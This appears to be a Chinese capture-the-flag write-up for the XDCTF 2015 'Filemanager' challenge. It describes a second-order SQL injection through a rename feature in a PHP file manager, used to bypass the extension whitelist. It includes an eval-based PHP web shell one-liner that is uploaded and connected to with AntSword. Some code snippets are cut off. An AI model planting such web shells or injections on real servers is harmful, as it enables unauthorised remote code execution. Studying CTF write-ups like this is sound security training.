XDCTF 2015 Filemanager
我们扫描目录发现一个/www.tar.gz
我们找到数据库的字段结构
common
- 对传入的参数进行了addslashes()转义
- 数据库连接和遍历数组
- 基本没有直接的注入漏洞
upload
- 白名单限制了后缀名为gif,jpg,png,zip,txt
- 查询文件名是否存在,进行了addslashes()转义
- 也不存在直接注入漏洞
delete
- 就是删除,没什么好讲
所以我们无法上传恶意文件,由于版本限制,也不能使用%00截断,但我们发现有个rename功能
1 | <?php |
只能修改文件名,但我们可以通过sql注入,影响extension为空,然后在修改文件的时候加上.php后缀
但还有个坑,这里改名的时候检查了文件是否存在:if(file_exists($oldname))。虽然通过注入修改了filename的值,但upload目录下上传的文件名是没有改的。 因为利用注入将extension改为空了,那么实际上数据库中的filename总比文件系统中真实的文件名少一个后缀。 那么这里的file_exists就验证不过。怎么办? 简单啊,再次上传一个新文件,这个文件名就等于数据库里的filename的值就好了。
我们先上传一个用来sql注入的文件
然后修改文件名
我们就得到了一个新的文件名test.txt.txt,但是数据库中经过update语句
1 | update `file` set `filename`='test.txt', `oldname`='',extension='' where `fid`={$result['fid']} |
实际上,下文件的filename为test.txt,extension为空
然后我们在上传一个和上面newname文件名相同的木马文件
1 | <?php eval($_POST[1]); ?> |
然后我们重命名文件为test.php
我们访问/upload/test.php,通过蚁剑进行连接,得到flag
**